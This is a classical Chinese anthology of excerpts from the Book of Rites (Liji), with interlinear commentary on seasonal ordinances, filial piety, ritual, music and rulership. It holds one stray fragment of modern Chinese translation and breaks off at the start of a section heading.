令\n孟春之月。立春之日。天子親率三公、九卿、諸侯、大夫以迎春於東郊。命相布德和令。行慶施惠。下及兆民。相。謂三公相王之事者也。德。謂善教也。令。謂時禁也。慶。謂休其善也。惠。謂恤其不足也。是月也。天子乃以元日祈穀於上帝。謂以上辛郊祭天也。郊祀后稷以祈農事也。上帝。太微之帝也。乃擇元辰。天子親帥三公九卿諸侯大夫耕躬帝藉。元辰。蓋郊後吉辰也。帝藉。爲天神借民力所治之田也。禁止伐木。盛德所在。毋覆巢。毋殺孩蟲。胎夭飛鳥。毋麛毋卵。爲傷萌幼之類。毋聚大衆。毋置城郭。爲妨農之始也。掩骼埋胔。爲死氣逆生氣也。骨枯曰骼。肉腐曰胔也。不可稱兵。稱兵必有夭殃。逆生氣也。\n仲春之月。養幼少。存諸孤。助生氣也。命有司省囹圄。去桎梏。毋肆掠。順陽氣也。省。减也。肆。謂死刑暴尸。毋竭川澤。毋漉陂池。毋焚山林。順陽養物。\n季春之月。天子布德行惠。命有司發倉廩。賜貧窮。振乏絶。振猶救也。開府庫出幣帛。聘名士。禮賢者。聘。問也。名士不仕者。命司空曰。時雨將降。下水上騰。修利堤坊。導達溝瀆。開通道路。毋有鄣塞。所以除水潦。便民事也。田獵罝罦羅罔畢翳餧獸之藥。無出九門。爲逆天時也。天子九門也。命野虞毋伐桑柘。愛蠶食也。野虞謂主田及山林之官。后妃齋戒。親帥(無帥字)東向躬桑。禁婦女無觀。省婦使以勸蠶事。后妃親採桑。示帥先天下也。東向者。向時氣。無觀。去容飾也。婦使縫綫組紃之事。命工師。百工咸理。監工日號。無悖于時。毋或作爲淫巧以蕩上心。咸。皆也。於百工皆治理其事之時。工師則監之。日號令戒之。以此二事。百工作器物各有時。逆之則功不善也。淫巧。謂僞飾不如法也。蕩。謂動之使生奢泰。\n孟夏之月。無起土功。毋發大衆。爲妨蠶農之事。命野虞勞農。命農勉作。毋休于都。急趣農事。\n仲夏之月。命有司爲民祈祀山川百源。大雩帝。乃命百縣雩祀百辟卿士有益於民者。以祈穀實。陽氣盛而恒旱。山川百原。能興雲雨者也。雩帝。謂雩五精之帝也。百辟卿士。古者上公以下。若句龍。後稷之類。\n季夏之月。樹木方盛。無有斬伐。爲其未堅靭也。毋發令而待。以妨神農之事。發令而待。謂出繇役之令以豫驚民。民驚則心動。是害土神之氣也。土神稱曰神農者。以其主於稼穡也。水潦盛昌。舉大事則有天殃。\n孟秋之月。乃命將帥選士厲兵。命大理審斷刑。命百官完堤坊。謹壅塞。以備水潦。\n仲秋之月。養衰老。授几杖。乃命有司趣民收斂。務蓄菜。多積聚。爲禦冬之備也。乃勸民種麥。毋或失時。麥者。接絶續乏之穀。尤重之也。\n季秋之月。命冢宰舉五穀之要。定其租税簿。藏帝藉之收於神倉。霜始降。百工咸休。寒而膠漆作不堅好。\n孟冬之月。賞死事。恤孤寡。死事。謂以國事死也。命百官謹蓋藏。謂府庫囷倉也。固封疆。備邊境。完要塞。謹關梁。大飲烝。十月農功畢。天子諸侯與其群臣飲酒於大學以正齒位。謂之大飲。天子乃祈來年於天宗。祀(祀作祠)於公社。及門閭。臘先祖五祀。此周禮所謂蠟祭也。天宗。謂日月星辰也。五祀。門。户。中霤。竈。行。勞農以休息之。黨正屬民飲酒正齒位是也。天子乃命將帥講武。習射御。\n仲冬之月。天子乃命有司祈祀四海大川山林藪澤。有能取蔬食。田獵禽獸者。野虞教導之。務收斂野物也。大澤曰藪。草木之實爲蔬食。\n季冬之月。命取冰。冰已入。令吿民出五種。命田官告民出五種。明大寒氣過。農事將起。命農計耦耕事。修耒耜。具田器。天子乃與公卿大夫共飭國典。論時令。以待來歲之宜。飭國典者。和六典之法也。周禮以正月爲之也。\n文王世子\n文王之爲世子。朝於王季日三。鷄初鳴而起。衣服至於寢門外。問内竪之御者曰。今日安否。何如。内竪。小臣之屬。掌外内之通令者。御。如今小吏直日也。内竪曰。安。文王乃喜。及日中又至。亦如之。及暮又至。亦如之。其有不安節則内竪以吿文王。文王色憂。行不能正履。節。謂居處故事也。履。蹈地也。王季復膳。然後亦復初。食上。必在視寒暖之節。在。察也。食下。問所膳。膳。所食也。然後退。武王帥而行之。帥。循也。文王有疾。武王不脱冠帶而養。言常在側。文王壹飯亦壹飯。文王再飯亦再飯。欲知氣力箴藥所勝。\n凡三王教世子。必以禮樂。樂所以修内也。禮所以修外也。禮樂交錯於中。發形於外。立太傅少傅以養之。養猶教也。言養者積浸成長。太傅審父子君臣之道以示之。爲之行其禮也。少傅奉世子以觀太傅之德行而審諭之。爲之説其義也。太傅在前。少傅在後。謂其在學時也。入則有保。出則有師。謂燕居出入時也。是以教諭而德成也。以有四人維持之。師也者。教之以事而諭諸德者也。保也者。慎其身以輔翼之而歸諸道者也。慎其身者。謹安護之。是故知爲人子。然後可以爲人父。知爲人臣。然後可以爲人君。知事人。然後能使人。君之於世子也。親則父也。尊則君也。有父之親。有君之尊。然後兼天下而有之。是故養世子不可不慎也。處君父之位。覽海内之士。而近不能以教其子。則其餘不足觀之也。\n行一物而三善皆得者。唯世子而已。其齒於學之謂也。物猶事也。故世子齒於學。國人觀之曰。將君我。而與我齒讓。何也。曰。有父在則禮然。然而衆知父子之道矣。其二曰。將君我。而與我齒讓。何也。曰。有君在則禮然。然而衆知君臣之義也。其三曰。將君我。而與我齒讓。何也。曰。長長也。然而衆知長幼之節。故父在斯爲子。君在斯謂臣。居子與臣之節。所以尊君親親也。故學之爲父子焉。學之爲君臣焉。學之爲長幼焉。學。教也。父子君臣長幼之道得。而國治。語曰。樂正司業。父師司成。一有元良。萬國以貞。世子之謂也。司。主也。一。一人也。元。大也。良。善也。貞。正也。\n禮 運\n昔者。仲尼與於蠟賓。腊者索也。歲十二月合聚萬物而索饗之。亦祭宗廟。時孔子仕魯而在助祭之中。事畢。出游於觀之上。喟然而嘆。觀。闕也。言偃在側曰。君子何嘆。言偃。孔子弟子子游也。\n孔子曰。大道之行也。天下爲公。選賢與能。公猶共也。禪位授聖。不家之也。故人不獨親其親。不獨子其子。孝慈之道廣也。使老有所終。幼有所長。鰥寡孤獨廢疾者。皆有所養。無匱乏者。是故謀閉而不興。盗竊亂賊而不作。是謂大同。同猶和平。\n今大道既隱。隱猶去也。天下爲家。傳位於子也。各親其親。各子其子。大人世及以爲禮。城郭溝池以爲固。亂賊繁多。爲此以服之。大人。諸侯也。禮義以爲紀。以正君臣。以篤父子。以睦兄弟。以和夫婦。以設制度。以功爲己。故謀用是作。兵由此起。以其違大道敦樸之本。其弊則然。老子曰。法令滋章。盗賊多有也。禹。湯。文。武。成王。周公。由此其選也。由。用也。能用禮義成治者也。此六君子者。未有不謹於禮者。\n言偃復問曰。如此乎。禮之急也。孔子曰。夫禮者。先王以承天之道。以治人之情。故失之者死。得之者生。詩云。人而無禮。胡不遄死。故聖人以禮示之。天下國家可得而正。民知禮則易教也。\n是故禮者。君之大柄。所以治政安君。故聖王修義之柄。禮之序。以治人情。治者。去瑕穢。養精華也。故人情者。聖王之田也。修禮以耕之。和其剛柔。陳義以種之。樹以善道。講學以耨之。存是去非類也。本仁以聚之。合其所盛。播樂以安之。感動使之堅固。\n故治國不以禮。猶無耜而耕也。無以入之也。爲禮不本於義。猶耕而不種也。嘉穀無由生也。爲義而不講以學。猶種而不耨也。苗不殖。草不除。講之以學而不合以仁。猶耨而不穫也。無以知收之豐荒也。合之以仁而不安以樂。猶穫而不食也。不知味之甘苦。安之以樂而不達於順。猶食而不肥也。功不見也。\n四體既正。膚革充盈。人之肥也。父子篤。兄弟睦。夫婦和。家之肥也。大臣法。小臣廉。官職相序。君臣相正。國之肥也。天子以德爲車。以樂爲御。諸侯以禮相與。大夫以法相序。士以信相考。百姓以睦相守。天下之肥也。是謂大順。\n故無水旱昆蟲之灾。民無凶飢妖孼之疾。言大順之時陰陽和也。昆蟲之灾。螟螽之屬也。故天不愛其道。地不愛其寶。人不愛其情。言嘉瑞出。人情至也。故天降膏露。地出醴泉。山出器車。河出馬圖。鳳皇騏驎。皆在郊棷,龜龍在宫沼。其餘鳥獸之卵胎。皆可俯而窺也。膏。猶甘也。器。謂若銀甕丹甑也。馬圖。龍馬負圖而出也。棷。叢草也。沼。池也。則是無故。非有他故使之然。先王能修禮以達義。體信而達順。故此順之實也。\n禮 器\n禮釋回。增美質。措則正。施則行。釋猶去也。回。邪僻也。質猶性也。措猶置也。其在人也。如竹箭之有筠。如松柏之有心。二者居天下之大端。故貫四時而不改柯易葉。箭。篠也。端。本也。四物於天下。最得氣之本也。或柔靭於外。或和澤於内。以此不變傷。傷作易。人之得禮亦猶然。君子有禮。則外諧而内無怨。故物無不懷仁。鬼神饗德。懷。歸。\n先王之立禮也。有本有文。忠信禮之本。義理禮之文。無本不立。無文不行。言必外内具也。禮也者。合於天時。設於地財。順於鬼神。合於人心。理萬物者。故天不生。地不養。君子不以爲禮。鬼神弗饗。天不生。謂非其時物也。地不養。謂非其地所生也。\n是故昔者先王之制禮也。因其財物而致其義焉。故作大事必順天時。大事。祭祀也。爲朝夕必放於日月。日出東方。月生西方也。爲高必因丘陵。謂冬至祭天於圜丘之上。爲下必因川澤。謂夏至祭地於方澤之中。\n是故因天事天。天高。因高者以事之。因地事地。地下。因下者以事之。因名山升中於天。名猶大也。升猶上也。中猶成也。謂巡狩至於方岳。燔柴祭天。告以諸侯之成功也。因吉土以饗帝於郊。吉土。王者所卜而居之土也。饗帝於郊。以四時所兆祭於四郊者也。升中于天而鳳皇降。龜龍格。功成而太平。陰陽氣和而致象物也。饗帝於郊而風雨節。寒暑時。五帝主五行。五行之氣和而庶徵得其序。五行。木爲雨。金爲暘。火爲燠。水爲寒。土爲風。是故聖人南面而立。而天下大治。\n是故先王制體也以節事。動反本也。修樂以導志。勸之善也。故觀其禮樂而治亂可知。亂國禮慢而樂淫也。\n内 則\n子事父母。鷄初鳴。咸盥漱。冠緌纓端。畢紳縉笏。咸。皆也。緌。纓之飾也。端。玄端。士服也。庶人深衣也。紳。大帶也。左右佩用。必佩者。備尊者使令也。以適父母舅姑之所。\n及所。下氣怡聲。問所欲而敬進之。柔色以温之。温。藉也。承尊者必和顏色也。\n父母有過。下氣怡色。柔聲以諫。諫若不入。起敬起孝。悦則復諫。父母怒不悦。而撻之流血。不敢疾怨。起敬起孝。撻。擊。\n父母雖没。將爲善。思貽父母令名。必果。\n曾子曰。孝子之養老。樂其耳目。安其寢處。以其飲食忠養之。父母之所愛亦愛之。父母之所敬亦敬之。至於犬馬盡然。而况於人乎。\n玉 藻\n年不順成。則天子素服。乘素車。食無樂。自貶損也。\n君無故不殺牛。大夫無故不殺羊。士無故不殺犬豕。故謂祭祀之時。君子遠庖厨。凡有血氣之類。弗身踐也。踐當爲翦。聲之誤。翦猶殺也。\n大 傳\n聖人南面而聽天下。所且先者有五。民不得與焉。且先言未遑餘事。一曰治親。二曰報功。三曰舉賢。四曰使能。五曰存愛。功。功臣也。存。察也。察有仁愛者。五者一得。於天下民無不足。無不贍。五者一物紕繆。民不得其死。物猶事。紕猶錯也。五事得則民足。一事失則民不得其死。明政之難也。聖人南面而治天下。必自人道始矣。人道謂此五事也。\n是故人道親親。言先有恩。親親故尊祖。尊祖故敬宗。敬宗故收族。收族故宗廟嚴。宗廟嚴故重社稷。重社稷故愛百姓。愛百姓故刑罰中。刑罰中故庶民安。庶民安故財用足。財用足故百志成。百志成故禮俗刑。禮俗刑然後樂。收族。序以昭穆也。嚴猶尊也。百志。人之志意所欲也。刑猶成也。詩云。不顯不承。無斁於人斯。此之謂也。斁。厭也。言文王之德不顯乎。不承先人之業乎。言其顯且承之。樂之無厭。\n樂 記\n凡音之起。由人心生也。人心之動。物使之然也。感於物而動。故形於聲。宫商角徵羽雜比曰音。單出曰聲。形猶見也。樂者。音之所由生也。其本在人心之感於物。是故其哀心感者。其聲噍以殺。其樂心感者。其聲嘽以緩。其喜心感者。其聲發以散。其怒心感者。其聲粗以厲。其敬心感者。其聲直以廉。其愛心感者。其聲和以柔。六者非其性也。感於物而後動。言人聲在所見。非有常也。噍。踧也。嘽。寬綽貌。發猶揚也。是故先王慎所以感之者。故禮以導其志。樂以和其聲。政以一其行。刑以防其奸。禮樂刑政。其極一也。所以同民心而出治道。\n凡音者。生人心者也。情動於中。故形於聲。聲成文。謂之音。是故治世之音安以樂。其政和。亂世之音怨以怒。其政乖。亡國之音哀以思。其民困。音聲之道。與政通矣。言八音和否隨政。宫爲君。商爲臣。角爲民。徵爲事。羽爲物。五者不亂。則無怠。懘之音矣。五者君臣民事物也。凡聲濁者尊,清者卑。怠懘。敝敗不和之貌也。宫亂則荒。其君驕。商亂則陂。其臣壞。角亂則憂。其民怨。徵亂則哀。其事勤。羽亂則危。其財匱。五者皆亂。迭相陵。謂之慢。如此。則國之滅亡無日矣。君臣民事物其道亂。則其音應而亂也。荒猶散也。陂。傾也。鄭衞之音。亂世之音。比於慢矣。比猶同也。桑間濮上之音。亡國之音。其政散。其民流。誣上行私而不可止也。濮水之上。地有桑間者。亡國之音。於此水出也。\n是故知聲而不知音者。禽獸是也。知音而不知樂者。衆庶是也。唯君子爲能知樂。禽獸知此爲聲耳。不知其宫商之變。八音并作克諧曰樂。審聲以知音。審音以知樂。審樂以知政。而治道備矣。是故不知聲者。不可與言音。不知音者。不可與言樂。知樂者則幾於禮矣。禮樂皆得。謂之有德。幾。近也。聽樂而知政之得失。則能正君臣民事物之禮也。\n樂之隆非極音。食饗之禮非致味。隆猶盛。極猶窮。是故先王之制禮樂(舊無先王至禮樂六字。補之)。非以極口腹耳目之欲。將以教民平好惡而反人道之正。教之使知好惡。先王之制禮樂。人爲之節。言爲作法度以遏其欲也。衰麻哭泣。所以節喪紀也。鐘鼓干戚。所以和安樂也。婚姻冠筓。所以别男女也。射鄕食饗。所以正交接也。男二十而冠。女許嫁而筓。成人之禮也。射。大射鄕。鄕。飲酒也。食。食禮饗。饗。禮也。禮節民心。樂和民聲。政以行之。刑以防之。禮樂刑政四達而不悖。則王道備矣。\n樂由中出。和在心也。禮自外作。敬在貌也。大樂必易。大禮必簡。易簡若於清廟大饗然也。樂至則無怨。禮至則不争。揖讓而治天下者。禮樂之謂也。至猶達行。大樂與天地同和。大禮與天地同節。言順天地之氣與其數也。和故百物不失。不失性也。節故祀天祭地。成萬物有功報焉也。明則有禮樂。教人者也。幽則有鬼神。助天地成物者也。如此。則四海之内。合敬同愛。\n王者功成作樂。治定制禮。功主於王業。治主於教民。五帝殊時。不相沿樂。三王异世。不相襲禮。言其有損益也。故聖人作樂以應天。制禮以配地。禮樂明備。天地官矣。官猶事也。各得其事。地氣上躋。天氣下降。鼓之以雷霆。奮之以風雨。動之以四時。暖之以日月。而百化興焉。如此。則樂者天地之和也。\n禮者。所以綴淫也。綴猶止也。是故先王有大事。必有禮以哀之。有大福。必有禮以樂之。哀樂之分。皆以禮終。大事謂死喪也。是故先王本之情性。稽之度數。制之禮義。合生氣之和。道五常之行。使之陽而不散。陰而不密。剛氣不怒。柔氣不懾。四暢交於中。而發作於外。皆安其位而不相奪也。生氣。陰陽氣也。五常。五行也。密之言閉也。懾猶恐懼也。\n土弊則草木不長。水煩則魚鱉不大。氣衰則生物不遂。世亂則禮慝而樂淫。是故其聲哀而不莊。樂而不安。慢易以犯節。流湎以忘本。感條暢之氣而滅平和之德。是以君子賤之也。遂猶成也。慝。穢也。感。動也。動人條暢之善氣使失其所也。凡奸聲感人而逆氣應之。逆氣成象而淫樂興焉。正聲感人而順氣應之。順氣成象而和樂興焉。唱和有應。回邪曲直。各歸其分。而萬物之理。各以類相動。成象謂人樂習焉。是故君子反情以和其志。比類以成其行。奸聲亂色。不留聰明。淫樂慝禮。不接心術。惰慢邪僻之氣。不設於身體。使耳目鼻口心智百體皆由順正以行其義。反猶本也。術猶道也。\n然後發以聲音而文以琴瑟。動以干戚。飾以羽旄。從以簫管。奮至德之光。動四氣之和。以著萬物之理。奮猶動。動至德之光。謂降天神。出地祗。格祖考也。著。猶成也。故樂行而倫清。耳目聰明。血氣和平。移風易俗。天下皆寧。言樂用則正人理。和陰陽也。倫謂人道也。\n魏文侯問於子夏曰。吾端冕而聽古樂。則唯恐臥。聽鄭衞之音。則不知倦。敢問古樂之如彼何也。新樂之如此何也。古樂。先王之正樂也。對曰。今君之所問者樂也。所好者音也。相近而不同。鏗鏘之類皆爲音。應律乃爲樂。文公曰。敢問何如。欲知音樂异意。對曰。夫古者天地順而四時當。民有德而五穀昌。疾疫不作而無妖祥。此之謂大當。然後聖人作爲父子君臣。以爲綱紀。綱紀既正。天下大定。天下大定。然後正六律。和五聲。弦歌詩頌。此之謂德音。德音之謂樂。當謂樂不失其所也。今君之所好者。其溺音乎。\n鄭音好濫淫志。宋音燕女溺志。衞音趨數煩志。齊音敖僻驕志。四者淫於色而害於德。是以祭祀弗用也。言四國出此溺音也。爲人君者。謹其所好惡而已矣。君好之則臣爲之。上行之則民從之。詩云。誘民孔易。此之謂也。誘。進也。孔。甚也。民從君之所好惡。進之於善無難也。\n君子曰。禮樂不可斯須去身。致樂以治心。樂由中出。故治心也。致禮以治躬。禮自外作。故治身也。心中斯須不和不樂。而鄙詐之心入之矣。鄙詐入之。謂利欲生也。外貌斯須不莊不敬。而易慢之心入之矣。易。輕易也。故樂也者。動於内者也。禮也者。動於外者也。樂極則和。禮極則順。内和而外順。則民瞻其顏色而不與争也。望其容貌而民不生易慢焉。是故樂在宗廟之中。君臣上下同聽之。則莫不和敬。在族長鄕里之中。長幼同聽之。則莫不和順。在閨門之内。父子兄弟同聽之。則莫不和親。故樂者所以合和父子君臣。附親萬民。是先王立樂之方也。\n祭 法\n夫聖王之制祭祀也。法施於民則祀之。以死勤事則祀之。以勞定國則祀之。能禦大灾則祀之。能捍大患則祀之。是故厲山氏之有天下也。其子曰農。能殖百穀。夏後氏之衰。周弃繼之。故祀以爲稷。共工氏之霸九州也。其子曰后土。能平九州。故祀以爲社。帝嚳能序星辰。堯能賞均刑法。舜能勤衆事。鯀鄣洪水。禹能修鯀之功。黄帝正名百物。顓頊能修之。契爲司徒而民成。冥勤其官而水死。湯以寬治民而除其虐。文王以文治。武王以武功。去民之灾。此皆有功烈於民者也。及夫日月星辰。民所瞻仰也。山林川谷丘陵。民所取財用也。非此族也。不在祀典。祀典。謂祭禮也。\n祭 義\n祭不欲數。數則煩。煩則不敬。祭不欲疏。疏則怠。怠則忘。是故君子合諸天道。春禘秋嘗。忘與不敬。違禮莫大焉。合於天道。因四時之變化。孝子感時而念親。則以此祭之也。霜露既降。君子履之。必有悽愴之心。非其寒之謂也。春雨露既濡。君子履之。必有怵惕之心。如將見之。非其寒之謂。謂悽愴及怵惕。皆爲感時念親也。樂以迎來。哀以送往。\n致齋於内。散齋於外。齋之日。思其居處。思其笑語。思其志意。思其所樂。思其所嗜。齋三日。乃見其所爲齋者。見其所爲齋。思之熟也。祭之日。入室。僾然必有見乎其位。周旋出户。肅然必有聞乎其容聲。出户而聽。愾然必有聞乎其嘆息之聲。是故先王之孝也。色不忘乎目。聲不絶乎耳。心志嗜欲不忘乎心。安得不敬乎。\n君子生則敬養。死則敬享。享猶祭也。饗也。唯聖人爲能饗帝。孝子爲能饗親。謂祭之能使之饗之也。帝。天也。\n先王之所以治天下者五。貴有德也。貴貴也。貴老也。敬長也。慈幼也。此五者。先王之所以定天下也。貴有德。爲其近於道也。貴貴。爲其近於君也。貴老。爲其近於親也。敬長。爲其近於兄也。慈幼。爲其近於子也。言治國有家道也。\n曾子曰。身也者。父母之遺體也。行父母之遺體。敢不敬乎。居處不莊。非孝也。事君不忠。非孝也。莅官不敬。非孝也。朋友不信。非孝也。戰陳無勇。非孝也。五者不遂。灾及於親。敢不敬乎。遂猶成也。\n夫孝。置之而塞乎天地。敷之而横乎四海。施諸後世而無朝夕。詩云。自西自東。自南自北。無思不服。此之謂也。\n孝有三。小孝用力。中孝用勞。大孝不匱。勞猶功。思慈愛忘勞。可謂用力矣。尊仁安義。可謂用勞矣。博施備物。可謂不匱矣。思慈愛忘勞。思父母之慈愛己。而自忘己之勞苦。父母愛之。喜而弗忘。父母惡之。懼而無怨。無怨。無怨於父母之心也。父母有過。諫而不逆。順而諫之。父母既没。必求仁者之粟以祀之。此之謂禮終。喻貧困猶不取惡人之物以事己(己作亡)親。\n樂正子春下堂而傷其足。數月不出。猶有憂色。門弟子曰。夫子之足瘳矣。數月不出。猶有憂色。何也。曰。吾聞諸曾子。父母全而生之。子全而歸之。可謂孝矣。不虧其體。不辱其身。可謂全矣。故君子跬步弗敢忘孝也。今予忘孝之道。予是以有憂色也。壹舉足而不敢忘父母。壹出言而不敢忘父母。壹舉足而不敢忘父母。是故道而弗徑。舟而不游。不敢以先父母之遺體行危殆。壹出言而不敢忘父母。是故惡言不出於口。忿言不及(及作反)於身。不辱其身。不羞其親。可謂孝矣。徑。步邪趨疾也。\n虞。夏。殷。周。天下之盛王也。未有遺年者。是故天子巡狩。諸侯待見于境。天子先見(無見字)百年者。問其國君以百年者所在而往見之。\n祭 統\n凡治人之道。莫急於禮。禮有五經。莫重於祭。禮有五經。謂吉凶賓軍嘉也。莫重於祭。謂以吉禮爲首也。夫祭者。非物自外至也。自中出。生於心也。心怵而奉之以禮。是故唯賢者能盡祭之義。\n是故君子之教也。外則教之以尊其君長。内則教之以孝於其親。是故君子之事君也。必身行之。所不安於上。則不以使下。所惡於下。則不以事上。非諸人。行諸己。非教之道也。必身行之。言恕己乃行之。是故君子之教也。必由其本。順之至也。祭其是與。故曰。祭者。教之本也已。教由孝順生。祭而不敬。何以爲也。\n經 解\n天子者與天地參焉。故德配天地。兼利萬物。與日月并明。明照四海而不遺微小。其在朝廷。則道仁聖禮義之序。燕處則聽雅頌之音。行步則有環佩之聲。升車則有鸞和之響。居處有禮。進退有度。百官得其宜。萬事得其序。詩云。淑人君子。其儀不忒。其儀不忒。正是四國。此之謂也。道猶言也。發號出令而民悦。謂之和。上下相親。謂之仁。民不求其所欲而得之。謂之信。除去天地之害。謂之義。義與信。和與仁。霸王之器也。有治民之意而無其器。則不成。器謂所操以作事者。義信和仁皆在(在作存)於禮也。\n夫禮之於國也。猶衡之於輕重也。繩墨之於曲直也。規矩之於方圓也。故衡誠懸不可欺以輕重。繩墨誠陳。不可欺以曲直。規矩誠設。不可欺以方圓。君子審禮。不可誣以奸詐。衡。稱也。縣。錘也。陳。設也。孔子曰。安上治民。莫善於禮。此之謂也。\n故朝覲之禮。所以明君臣之義也。聘問之禮。所以使諸侯相尊敬也。喪祭之禮。所以明臣子之恩也。鄉飲酒之禮。所以明長幼之序也。婚姻之禮。所以明男女之别也。夫禮禁亂之所由生。猶防止水之所自來也。故以舊防爲無所用而壞之者。必有水敗。以舊禮爲無所用而去之者。必有亂患。\n故婚姻之禮廢。則夫婦之道苦。而淫僻之罪多矣。鄉飲酒之禮廢。則長幼之序失。而鬥争之獄繁矣。喪祭之禮廢。則臣子之恩薄。而背死忘生者衆矣。聘覲之禮廢。則君臣之位失。而背叛侵陵之敗起矣。苦。謂不至不荅之屬。\n故禮之教化也微。其正(正作上)邪於未形。使人日徙善遠罪而不自知也。是以先王隆之也。易曰。君子慎始。差若毫厘。謬以千里。此之謂也。隆謂尊盛之也。始謂其微時也。\n仲尼燕居\n子曰。禮者。何也。即事之治也。治國而無禮。譬猶瞽之無相與。倀倀乎其何之。譬如終夜有求幽室之中。非燭。何以見之。若無禮。則手足無所措。耳目無所加。進退揖讓無所制。是故以之居處。長幼失其别。閨門三族失其和。朝廷官爵失其序。軍旅武功失其制。宫室失其度量。喪紀失其哀。政事失其施。凡衆之動失其宜。\n中 庸\n天命之謂性。率性之謂道。修道之謂教。性者。生之質也。命者。人所禀受。率。循。循性行之是曰道。修。治也。治而廣之。人放效之。是曰教。道也者。不可須臾離也。可離。非道也。道猶道路也。出入動作由之。須臾離之惡乎從。是故君子戒慎乎其所不睹。恐懼乎其所不聞。莫見乎隱。莫顯乎微。故君子慎其獨也。慎其獨者。慎其閑居之所爲也。小人於隱者動作言語。自以爲不見睹。不見聞。則必肆盡其情。若有占聽之者。是爲顯見。甚於衆人之中爲之也。子曰。中庸其至矣乎。民鮮能久矣。鮮。罕也。言中庸爲道至美。故人罕能久行之者。\n子曰。無憂者。其唯文王乎。以王季爲父。以武王爲子。父作之。子述之。聖人以立法度爲大事。子能述成之。則何憂乎。堯舜之父子則有凶頑。禹。湯之父子則寡令聞。父子相成唯有文王也。武王纘大王。王季。文王緒(緒上有之字)。一戎衣而有天下。身不失天下之顯名。尊爲天子。富有四海之内。宗廟饗之。子孫保之。纘。繼也。緒。業也。子曰。武王。周公。其達孝矣乎。夫孝者。善繼人之志。善述人之事者也。\n表 記\n子曰。仁有三。與仁同功而异情。利仁。强仁。功雖與安仁者同。本情則异也。與仁同功。其仁未可知也。與仁同過。然後其仁可知也。仁者安仁。智者利仁。畏罪者强仁。功者人所貪。過者人所避。\n子曰。君子不以辭盡人。不見人之言語則以爲善。言其餘行或時惡也。故天下有道。則行有枝葉。天下無道。則辭有枝葉。行有枝葉。所以益德也。言有枝葉。是衆虚華也。枝葉依幹而生。言行亦由禮出也。是故君子於有喪者之側。不能賻焉。則不問其所費。於有病者之側。不能饋焉。則不問其所欲。有客不能館焉。則不問其所舍。皆避有其言而無其實也。故君子之接如水。小人之接如醴。君子淡以成。小人甘以壞。水相得合而已。酒醴相得則敗。淡。無酸酢,少味也。不以口譽人。則民作忠。故君子問人之寒則衣之。問人之飢則食之。稱人之美則爵之。皆爲有言不可以無實也。\n緇 衣\n子言之曰。爲上易事也。爲下易知也。則刑不煩矣。言君不苛虐。臣無奸心。則刑可以措也。\n子曰。夫民。教之以德。齊之以禮。則民有格心。教之以政。齊之以刑。則民有遯心。格。來也。遯。逃也。故君民者。子以愛之。則民親之。信以結之。則民不背。恭以莅之。則民有遜心。莅。臨也。遜猶順也。子曰。下之事上也。不從其所令而從其所行。言民化行。不拘於言也。上好是物。下必有甚矣。甚者。甚於君也。故上之所好惡。不可不慎也。是民之表也。言民之從君。如影之逐表。子曰。禹立三年。百姓以仁遂焉。豈必盡仁。言百姓效禹爲仁。非本性能仁也。子曰。上好仁。則下之爲仁争先人。\n子曰。王言如絲。其出如綸。王言如綸。其出如綍。言言出彌大也。綸。今有秩嗇夫所佩也。綍引棺索也。故大人不唱游言。游猶浮也。不可用之言也。可言也。不可行。君子弗言也。可行也。弗可言。君子弗行也。則民言不危行。而行不危言矣。危猶高也。言不高於行。行不高於言。言行相應。子曰。君子道人以言。而禁人以行。禁猶謹也。故言必慮其所終。而行必稽其所敝。則民謹於言而慎於行。稽猶考也。詩云。慎爾出話。敬爾威儀。話。善言也。\n子曰。爲上可望而知也。爲下可述而志也。則君不疑於其臣。而臣不惑於其君矣。志猶知也。上人疑則百姓惑。下難知則君長勞。難知有奸心也。故君民者章好以示民俗。慎惡以御民之淫。則民不惑矣。淫。貪侈也。孝經曰。示之以好惡而民知禁也。\n得禁令的嚴重性而不敢違犯法紀。)\n子曰。大臣不可以不敬也。是民之表也。邇臣不可以不慎也。是民之道也。民之道。言民循從也。子曰。大人不親其所賢而信其所賤。民是以親失而教是以煩。親失失其所當親也。教煩由信賤者也。賤者無壹德也。\n子曰。民以君爲心。君以民爲體。心莊則體舒。心肅則容敬。心好之身必安之。君好之。民必欲之。心以體全。亦以體傷。君以民存。亦以民亡。莊。齊莊也。\n大 學\n堯。舜率天下以仁。而民從之。桀。紂率天下以暴。而民從之。其所令反其所好。而民不從。言民化君行也。君好貨而禁民淫於財利。不能止也。是故君子有諸己而後求諸人。無諸己而後非諸人。所藏乎身不恕。而能喻諸人者。未之有也。\n故上老老而民興孝。上長長而民興悌。上恤孤而民不背。所惡於上。無以使下。所惡於下。毋以事上。所惡於前。毋以先後。所惡於後。毋以從前。所惡於右。毋以交左。所惡於左。毋以交於右。詩云。樂只君子。民之父母。民之所好好之。民之所惡惡之。此之謂民之父母。言治民之道無他。取於己而已。好人之所惡。惡人之所好。是謂拂人之性。灾必逮夫身。拂猶佹。逮。及也。\n昏 義\n昏禮者。將合二姓之好。上以事宗廟而下以繼後世也。故君子重之。男女有别。而後夫婦有義。夫婦有義。而後父子有親。父子有親。而後君臣有正。故曰。婚禮者。禮之本也。夫禮始於冠。本於婚。重於喪祭。尊於朝聘。和於鄕射。此禮之大體也。\n古者。天子后立六宫。三夫人。九嬪。二十七世婦。八十一御女。以聽天下之内治。以明章婦順。故天下内和而家理也。天子立六官。三公。九卿。二十七大夫。八十一元士。以聽天下之外治。以明章天下之男教。故外和而國治也。故曰。天子聽男教。后聽女順。天子理陽道。后治陰德。天子聽外治。后聽内治。教順成俗。外内和順。國家理治。此之謂盛德也。\n是故男教不修。陽事不得。讁見于天。日爲之食。婦順不修。陰事不得。讁見於天。月爲之食。是故日食。則天子素服而修六官之職。蕩天下之陽事。月食。則后素服而修六宫之職。蕩天下之陰事。故天子之與后。猶日之與月。陰之與陽。相須而後成者也。讁之言責也。蕩。蕩滌。去穢惡也。\n射 